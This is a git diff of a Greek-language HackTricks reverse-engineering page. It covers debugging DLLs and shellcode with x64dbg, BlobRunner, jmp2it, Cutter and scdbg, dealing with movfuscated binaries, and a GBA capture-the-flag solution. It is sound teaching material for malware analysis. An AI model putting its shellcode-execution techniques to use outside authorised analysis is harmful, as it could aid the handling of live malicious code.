* **Αλλάξτε τη γραμμή εντολών** ( _Αρχείο --> Αλλαγή Γραμμής Εντολών_ ) και ορίστε τη διαδρομή του dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain * **Αλλάξτε τη γραμμή εντολών** ( _Αρχείο --> Αλλαγή Γραμμής Εντολών_ ) και ορίστε τη διαδρομή του dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Αλλάξτε _Επιλογές --> Ρυθμίσεις_ και επιλέξτε "**Είσοδος DLL**". * Αλλάξτε _Επιλογές --> Ρυθμίσεις_ και επιλέξτε "**Είσοδος DLL**".
* Στη συνέχεια, **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια DLL, σε κάποιο σημείο θα **σταματήσετε στην είσοδο DLL του dll** σας. Από εκεί, απλά αναζητήστε τα σημεία όπου θέλετε να τοποθετήσετε ένα σημείο διακοπής. * Στη συνέχεια **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll** σας. Από εκεί, απλά αναζητήστε τα σημεία όπου θέλετε να τοποθετήσετε ένα σημείο διακοπής.
Προσέξτε ότι όταν η εκτέλεση σταματάει για οποιονδήποτε λόγο στο win64dbg, μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτάζοντας στην **κορυφή του παραθύρου win64dbg**: Σημειώστε ότι όταν η εκτέλεση σταματάει για οποιονδήποτε λόγο στο win64dbg, μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτώντας στην **κορυφή του παραθύρου win64dbg**:
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
Έτσι, κοιτάζοντας αυτό, μπορείτε να δείτε πότε η εκτέλεση σταματήθηκε στο dll που θέλετε να αποσφαλματώσετε. Έτσι, κοιτώντας αυτό μπορείτε να δείτε πότε η εκτέλεση σταμάτησε στην dll που θέλετε να αποσφαλματώσετε.
## Εφαρμογές GUI / Βιντεοπαιχνίδια ## Εφαρμογές GUI / Βιντεοπαιχνίδια
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) είναι ένα χρήσιμο πρόγραμμα για να βρείτε πού αποθηκεύονται στη μνήμη ενός τρέχοντος παιχνιδιού σημαντικές τιμές και να τις αλλάξετε. Περισσότερες πληροφορίες στο: [**Cheat Engine**](https://www.cheatengine.org/downloads.php) είναι ένα χρήσιμο πρόγραμμα για να βρείτε πού αποθηκεύονται σημαντικές τιμές μέσα στη μνήμη ενός τρέχοντος παιχνιδιού και να τις αλλάξετε. Περισσότερες πληροφορίες στο:
{% content-ref url="cheat-engine.md" %} {% content-ref url="cheat-engine.md" %}
[cheat-engine.md](cheat-engine.md) [cheat-engine.md](cheat-engine.md)
@ -171,7 +171,45 @@ iisreset /noforce
### Αποσφαλμάτωση ενός shellcode με το blobrunner ### Αποσφαλμάτωση ενός shellcode με το blobrunner
[**Blobrunner**](https://github.com/OALabs/B [**Blobrunner**](https://github.com/OALabs/BlobRunner) θα **εκχωρήσει** το **shellcode** μέσα σε ένα χώρο μνήμης, θα **εμφανίσει** τη **διεύθυνση μνήμης** όπου εκχωρήθηκε το shellcode και θα **σταματήσει** την εκτέλεση.\
Στη συνέχεια, πρέπει να **συνδέσετε έναν αποσφαλματή** (Ida ή x64dbg) στη διαδικασία και να τοποθετήσετε ένα **σημείο διακοπής στην ενδεικτική διεύθυνση μνήμης** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode.
Η σελίδα κυκλοφορίας του github περιέχει zip που περιέχουν τις συνταγμένες κυκλοφορίες: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Μπορείτε να βρείτε μια ελαφρώς τροποποιημένη έκδοση του Blobrunner στον ακόλουθο σύνδεσμο. Για να το συντάξετε απλά **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κάντε την κατασκευή**.
{% content-ref url="blobrunner.md" %}
[blobrunner.md](blobrunner.md)
{% endcontent-ref %}
### Αποσφαλμάτωση ενός shellcode με το jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **εκχωρήσει** το **shellcode** μέσα σε ένα χώρο μνήμης και θα ξεκινήσει ένα **αιώνιο βρόχο**. Στη συνέχεια πρέπει να **συνδέσετε τον αποσφαλματή** στη διαδικασία, **να ξεκινήσετε, να περιμένετε 2-5 δευτερόλεπτα και να πατήσετε στο κουμπί διακοπής** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Μεταβείτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode.
![](<../../.gitbook/assets/image (397).png>)
Μπορείτε να κατεβάσετε μια συνταγμένη έκδοση του [jmp2it μέσα από τη σελίδα κυκλοφορίας](https://github.com/adamkramer/jmp2it/releases/).
### Αποσφαλμάτωση shellcode χρησιμοποιώντας το Cutter
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) είναι το GUI του radare. Χρησιμοποιώντας το Cutter μπορείτε να εξομοιώσετε το shellcode και να το επιθεωρήσετε δυναμικά.
Σημειώστε ότι το Cutter σάς επιτρέπει να "Ανοίξετε Αρχείο" και "Ανοίξετε Shellcode". Στην περίπτωσή μου, όταν άνοιξα το shellcode ως αρχείο το αποδιέπλεξε σωστά, αλλά όταν το άνοιξα ως shellcode δεν το έκανε:
![](<../../.gitbook/assets/image (400).png>)
Για να ξεκινήσετε την εξομοίωση στο σημείο που θέλετε, ορίστε ένα bp εκεί και φαίνεται ότι το Cutter θα ξεκινήσει αυτόματα την εξομοίωση από εκεί:
![](<../../.gitbook/assets/image (399).png>)
![](<../../.gitbook/assets/image (401).png>)
Μπορείτε να δείτε τη στοίβα για παράδειγμα μέσα σε ένα αποσπώμενο δεκαεξαδικό:
![](<../../.gitbook/assets/image (402).png>)
### Αποκωδικοποίηση shellcode και λήψη εκτελούμενων συναρτήσεων
Θα πρέπει να δοκιμάσετε το [**scdbg**](http://sandsprite.com/blogs
```bash ```bash
scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run scdbg.exe -f shellcode -r #show analysis report at end of run
@ -180,73 +218,64 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
``` ```
Το scDbg διαθέτει επίσης ένα γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε το shellcode. scDbg διαθέτει επίσης ένα γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε το shellcode
![](<../../.gitbook/assets/image (398).png>) ![](<../../.gitbook/assets/image (398).png>)
Η επιλογή **Create Dump** θα αποθηκεύσει το τελικό shellcode αν γίνει οποιαδήποτε αλλαγή στο shellcode δυναμικά στη μνήμη (χρήσιμο για να κατεβάσετε το αποκωδικοποιημένο shellcode). Το **start offset** μπορεί να είναι χρήσιμο για να ξεκινήσετε το shellcode από ένα συγκεκριμένο offset. Η επιλογή **Debug Shell** είναι χρήσιμη για να εκτελέσετε αποσφαλματωμένο το shellcode χρησιμοποιώντας το τερματικό του scDbg (ωστόσο, θεωρώ ότι οι προηγούμενες επιλογές είναι καλύτερες για αυτό το θέμα, καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg). Η επιλογή **Create Dump** θα ανακτήσει το τελικό shellcode εάν γίνει οποιαδήποτε αλλαγή δυναμικά στο shellcode στη μνήμη (χρήσιμο για να κατεβάσετε το αποκωδικοποιημένο shellcode). Το **start offset** μπορεί να είναι χρήσιμο για να ξεκινήσετε το shellcode σε συγκεκριμένη θέση. Η επιλογή **Debug Shell** είναι χρήσιμη για να ελέγξετε το shellcode χρησιμοποιώντας το τερματικό scDbg (ωστόσο βρίσκω οποιαδήποτε από τις προηγούμενα εξηγημένες επιλογές καλύτερη για αυτό το θέμα καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg).
### Αποσυναρμολόγηση χρησιμοποιώντας το CyberChef ### Αποσυναρμολόγηση χρησιμοποιώντας το CyberChef
Μεταφορτώστε το αρχείο shellcode σας ως είσοδο και χρησιμοποιήστε την παρακάτω συνταγή για να το αποσυναρμολογήσετε: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) Ανεβάστε το αρχείο shellcode σας ως είσοδο και χρησιμοποιήστε την ακόλουθη συνταγή για να αποσυναρμολογήσετε: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Αυτός ο obfuscator **τροποποιεί όλες τις εντολές για `mov`** (ναι, πραγματικά καλό). Χρησιμοποιεί επίσης διακοπές για να αλλάξει τη ροή εκτέλεσης. Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί: Αυτός ο obfuscator **τροποποιεί όλες τις οδηγίες για `mov`**(ναι, πραγματικά cool). Χρησιμοποιεί επίσης διακοπές για να αλλάξει τις ροές εκτέλεσης. Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Αν έχετε τύχη, το [demovfuscator](https://github.com/kirschju/demovfuscator) θα αποκωδικοποιήσει το δυαδικό αρχείο. Έχει αρκετές εξαρτήσεις. Εάν έχετε τύχη, το [demovfuscator ](https://github.com/kirschju/demovfuscator)θα αποκωδικοποιήσει το δυαδικό αρχείο. Έχει αρκετές εξαρτήσεις
``` ```
apt-get install libcapstone-dev apt-get install libcapstone-dev
apt-get install libz3-dev apt-get install libz3-dev
``` ```
Και [εγκαταστήστε το keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) Και [εγκαταστήστε το keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Εάν παίζετε ένα **CTF, αυτή η παρακάμψη για να βρείτε τη σημαία** μπορεί να είναι πολύ χρήσιμη: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) Εάν συμμετέχετε σε ένα **CTF, αυτή η μέθοδος για την εύρεση της σημαίας** μπορεί να είναι πολύ χρήσιμη: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Rust ## Rust
Για να βρείτε το **σημείο εισόδου** αναζητήστε τις συναρτήσεις με το `::main` όπως στο παράδειγμα: Για να βρείτε το **σημείο εισόδου** αναζητήστε τις συναρτήσεις με το `::main` όπως στο:
![](<../../.gitbook/assets/image (612).png>) ![](<../../.gitbook/assets/image (612).png>)
Σε αυτήν την περίπτωση το δυαδικό αρχείο ονομάζεται authenticator, οπότε είναι αρκετά προφανές ότι αυτή είναι η ενδιαφέρουσα κύρια συνάρτηση.\ Σε αυτήν την περίπτωση το δυαδικό αρχείο ονομαζόταν authenticator, οπότε είναι αρκετά προφανές ότι αυτή είναι η ενδιαφέρουσα κύρια συνάρτηση.\
Έχοντας το **όνομα** των **συναρτήσεων** που καλούνται, αναζητήστε τις στο **Διαδίκτυο** για να μάθετε για τις **εισόδους** και **εξόδους** τους. Έχοντας το **όνομα** των **συναρτήσεων** που καλούνται, αναζητήστε τις στο **Διαδίκτυο** για να μάθετε για τις **εισόδους** και **εξόδους** τους.
## **Delphi** ## **Delphi**
Για μεταγλωττισμένα δυαδικά αρχεία Delphi μπορείτε να χρησιμοποιήσετε [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) Για δυαδικά αρχεία που έχουν συνταχθεί με Delphi μπορείτε να χρησιμοποιήσετε το [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Εάν πρέπει να αναστρέψετε ένα δυαδικό αρχείο Delphi, σας προτείνω να χρησιμοποιήσετε το πρόσθετο IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) Εάν πρέπει να αναστρέψετε ένα δυαδικό αρχείο Delphi, θα σας πρότεινα να χρησιμοποιήσετε το πρόσθετο IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Απλά πατήστε **ATL+f7** (εισαγωγή πρόσθετου python στο IDA) και επιλέξτε το πρόσθετο python. Απλά πατήστε **ATL+f7** (εισαγωγή πρόσθετου python στο IDA) και επιλέξτε το πρόσθετο python.
Αυτό το πρόσθετο θα εκτελέσει το δυαδικό αρχείο και θα επιλύσει δυναμικά τα ονόματα των συναρτήσεων στην αρχή της αποσφαλμάτωσης. Αφού ξεκινήσετε την αποσφαλμάτωση, πατήστε ξανά το κουμπί Έναρξη (το πράσινο ή f9) και θα εμφανιστεί ένα σημείο αναστολής στην αρχή του πραγματικού κώδικα. Αυτό το πρόσθετο θα εκτελέσει το δυαδικό αρχείο και θα επιλύσει δυναμικά τα ονόματα των συναρτήσεων στην έναρξη της αποσφαλμάτωσης. Μετά την έναρξη της αποσφαλμάτωσης, πατήστε ξανά το κουμπί Έναρξης (το πράσινο ή f9) και θα ενεργοποιηθεί ένα σημείο αναστολής στην αρχή του πραγματικού κώδικα.
Είναι επίσης πολύ ενδιαφέρον επειδή εάν πατήσετε ένα κουμπί στη γραφική εφαρμογή, ο αποσφαλματωτής θα σταματήσει στη συνάρτηση που εκτελείται από αυτό το κουμπί. Είναι επίσης πολύ ενδιαφέρον επειδή εάν πατήσετε ένα κουμπί στη γραφική εφαρμογή, το αποσφαλματωτής θα σταματήσει στη συνάρτηση που εκτελείται από αυτό το κουμπί.
## Golang ## Golang
Εάν πρέπει να αναστρέψετε ένα δυαδικό αρχείο Golang, σας προτείνω να χρησιμοποιήσετε το πρόσθετο IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) Εάν πρέπει να αναστρέψετε ένα δυαδικό αρχείο Golang, θα σας πρότεινα να χρησιμοποιήσετε το πρόσθετο IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Απλά πατήστε **ATL+f7** (εισαγωγή πρόσθετου python στο IDA) και επιλέξτε το πρόσθετο python. Απλά πατήστε **ATL+f7** (εισαγωγή πρόσθετου python στο IDA) και επιλέξτε το πρόσθετο python.
Αυτό θα επιλύσει τα ονόματα των συναρτήσεων. Αυτό θα επιλύσει τα ονόματα των συναρτήσεων.
## Μεταγλωττισμένο Python ## Συνταγμένο Python
Σε αυτήν τη σελίδα μπορείτε να βρείτε πώς να ανακτήσετε τον κώδικα Python από ένα μεταγλωττισμένο δυαδικό αρχείο ELF/EXE: Σε αυτήν τη σελίδα μπορείτε να βρείτε πώς να ανακτήσετε τον κώδικα Python από ένα δυαδικό αρχείο Python που έχει συνταχθεί ως ELF/EXE:
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} {% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) [.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -254,18 +283,18 @@ apt-get install libz3-dev
## GBA - Game Body Advance ## GBA - Game Body Advance
Εάν έχετε το **δυαδικό** ενός παιχνιδιού GBA, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία για να το **εξομοιώσετε** και να το **αποσφαλματώσετε**: Εάν έχετε το **δυαδικό** ενός παιχνιδιού GBA μπορείτε να χρησιμοποιήσετε διαφορετικά εργαλεία για να το **εξομοιώσετε** και να το **αποσφαλματώσετε**:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Λήψη της έκδοσης αποσφαλμάτωσης_) - Περιέχει έναν αποσφαλματωτή με διεπαφή * [**no$gba**](https://problemkaputt.de/gba.htm) (_Λήψη της εκδοσης αποσφαλμάτωσης_) - Περιλαμβάνει έναν αποσφαλματωτή με διεπαφή
* [**mgba** ](https://mgba.io)- Περιέχει έναν αποσφαλματωτή γραμμής εντολών * [**mgba** ](https://mgba.io)- Περιλαμβάνει έναν αποσφαλματωτή γραμμής εντολών
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Πρόσθετο Ghidra * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Πρόσθετο Ghidra
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Πρόσθετο Ghidra * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Πρόσθετο Ghidra
Στο [**no$gba**](https://problemkaputt.de/gba.htm), στις _**Επιλογές --> Ρύθμιση Εξομοίωσης --> Χειρισμός**_\*\* \*\* μπορείτε να δείτε πώς να πατήσετε τα κουμπιά του Game Boy Advance Στο [**no$gba**](https://problemkaputt.de/gba.htm), στις _**Επιλογές --> Ρύθμιση Εξομοίωσης --> Ελέγχους**_\*\* \*\* μπορείτε να δείτε πώς να πατήσετε τα κουμπιά του Game Boy Advance **buttons**
![](<../../.gitbook/assets/image (578).png>) ![](<../../.gitbook/assets/image (578).png>)
Όταν πατηθεί, κάθε **πλήκτρο έχει μια τιμή** για να το αναγνωρίσει: Όταν πατιούνται, κάθε **κλειδί έχει μια τιμή** για να το αναγνωρίσετε:
``` ```
A = 1 A = 1
B = 2 B = 2
@ -278,13 +307,13 @@ DOWN = 128
R = 256 R = 256
L = 256 L = 256
``` ```
Έτσι, σε αυτού του είδους τα προγράμματα, ένα ενδιαφέρον μέρος θα είναι **πώς το πρόγραμμα χειρίζεται την είσοδο του χρήστη**. Στη διεύθυνση **0x4000130** θα βρείτε τη συνάρτηση που συναντάται συχνά: **KEYINPUT**. Έτσι, σε αυτού του είδους προγράμματα, ένα ενδιαφέρον σημείο θα είναι **πώς το πρόγραμμα χειρίζεται την είσοδο του χρήστη**. Στη διεύθυνση **0x4000130** θα βρείτε τη συνήθως βρισκόμενη συνάρτηση: **KEYINPUT.**
![](<../../.gitbook/assets/image (579).png>) ![](<../../.gitbook/assets/image (579).png>)
Στην προηγούμενη εικόνα μπορείτε να δείτε ότι η συνάρτηση καλείται από τη **FUN\_080015a8** (διευθύνσεις: _0x080015fa_ και _0x080017ac_). Στην προηγούμενη εικόνα μπορείτε να δείτε ότι η συνάρτηση καλείται από τη **FUN\_080015a8** (διευθύνσεις: _0x080015fa_ και _0x080017ac_).
Σε αυτήν τη συνάρτηση, μετά από μερικές αρχικοποιήσεις λειτουργιών (χωρίς καμία σημασία): Σε εκείνη τη συνάρτηση, μετά από μερικές λειτουργίες εκκίνησης (χωρίς καμία σημασία):
```c ```c
void FUN_080015a8(void) void FUN_080015a8(void)
@ -317,7 +346,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6; uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) { if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
``` ```
Το τελευταίο if ελέγχει αν το **`uVar4`** βρίσκεται στα **τελευταία κλειδιά** και δεν είναι το τρέχον κλειδί, που αποθηκεύεται στο **`uVar1`**. Το τελευταίο if ελέγχει αν το **`uVar4`** βρίσκεται στα **τελευταία Keys** και δεν είναι το τρέχον κλειδί, που ονομάζεται επίσης απελευθέρωση ενός κουμπιού (το τρέχον κλειδί αποθηκεύεται στο **`uVar1`**).
```c ```c
if (uVar1 == 4) { if (uVar1 == 4) {
DAT_030000d4 = 0; DAT_030000d4 = 0;
@ -345,15 +374,15 @@ FUN_08000864();
if (uVar1 == 0x10) { if (uVar1 == 0x10) {
DAT_030000d8 = DAT_030000d8 + 0x3a; DAT_030000d8 = DAT_030000d8 + 0x3a;
``` ```
Στον προηγούμενο κώδικα μπορείτε να δείτε ότι συγκρίνουμε την **uVar1** (το μέρος όπου βρίσκεται η **τιμή του πατημένου κουμπιού**) με ορισμένες τιμές: Στον προηγούμενο κώδικα μπορείτε να δείτε ότι συγκρίνουμε το **uVar1** (το μέρος όπου βρίσκεται η **τιμή του πατημένου κουμπιού**) με μερικές τιμές:
* Αρχικά, συγκρίνεται με την **τιμή 4** (**κουμπί SELECT**): Στην πρόκληση αυτό το κουμπί καθαρίζει την οθόνη. * Αρχικά, συγκρίνεται με τη **τιμή 4** (κουμπί **SELECT**): Στην πρόκληση αυτό το κουμπί καθαρίζει την οθόνη.
* Στη συνέχεια, συγκρίνεται με την **τιμή 8** (**κουμπί START**): Στην πρόκληση αυτό ελέγχει αν ο κώδικας είναι έγκυρος για να λάβει τη σημαία. * Στη συνέχεια, συγκρίνεται με τη **τιμή 8** (κουμπί **START**): Στην πρόκληση αυτό ελέγχει αν ο κώδικας είναι έγκυρος για να λάβετε τη σημαία.
* Σε αυτήν την περίπτωση, η μεταβλητή **`DAT_030000d8`** συγκρίνεται με 0xf3 και αν η τιμή είναι ίδια, εκτελείται κάποιος κώδικας. * Σε αυτήν την περίπτωση η μεταβλητή **`DAT_030000d8`** συγκρίνεται με 0xf3 και αν η τιμή είναι ίδια εκτελείται κάποιος κώδικας.
* Σε οποιαδήποτε άλλη περίπτωση, ελέγχεται μια μεταβλητή cont (`DAT_030000d4`). Είναι μια μεταβλητή cont επειδή προσθέτει 1 αμέσως μετά την εισαγωγή του κώδικα.\ * Σε οποιεσδήποτε άλλες περιπτώσεις, ελέγχεται μια μεταβλητή cont (`DAT_030000d4`). Είναι μια μεταβλητή cont επειδή προστίθεται 1 αμέσως μετά την εισαγωγή του κώδικα.\
Αν είναι μικρότερο από 8, γίνεται κάτι που συνεπάγεται την **προσθήκη** τιμών στη μεταβλητή \*\*`DAT_030000d8` \*\* (βασικά προσθέτει τις τιμές των πατημένων πλήκτρων σε αυτήν τη μεταβλητή όσο η μεταβλητή cont είναι μικρότερη από 8). Αν είναι λιγότερο από 8 κάτι που περιλαμβάνει την **προσθήκη** τιμών στο **`DAT_030000d8`** γίνεται (βασικά προσθέτει τις τιμές των πλήκτρων που πατήθηκαν σε αυτήν τη μεταβλητή όσο η μεταβλητή cont είναι μικρότερη από 8).
Έτσι, σε αυτήν την πρόκληση, γνωρίζοντας τις τιμές των κουμπιών, χρειαζόταν να **πατήσετε μια συνδυασμό με μήκος μικρότερο από 8 ώστε η τελική πρόσθεση να είναι 0xf3**. Έτσι, σε αυτήν την πρόκληση, γνωρίζοντας τις τιμές των κουμπιών, έπρεπε να **πατήσετε μια συνδυασμό με μήκος μικρότερο από 8 ώστε η τελική πρόσθεση να είναι 0xf3.**
**Αναφορά για αυτό το εγχειρίδιο:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) **Αναφορά για αυτό το εγχειρίδιο:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -364,24 +393,18 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
## Μαθήματα ## Μαθήματα
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Αποκωδικοποίηση δυαδικού) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Αποκωδικοποίηση δυαδικών)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από διεπαφές προς ιστοσελίδες και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -1,55 +1,53 @@
# Κόλπα Stego # Stego Κόλπα
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
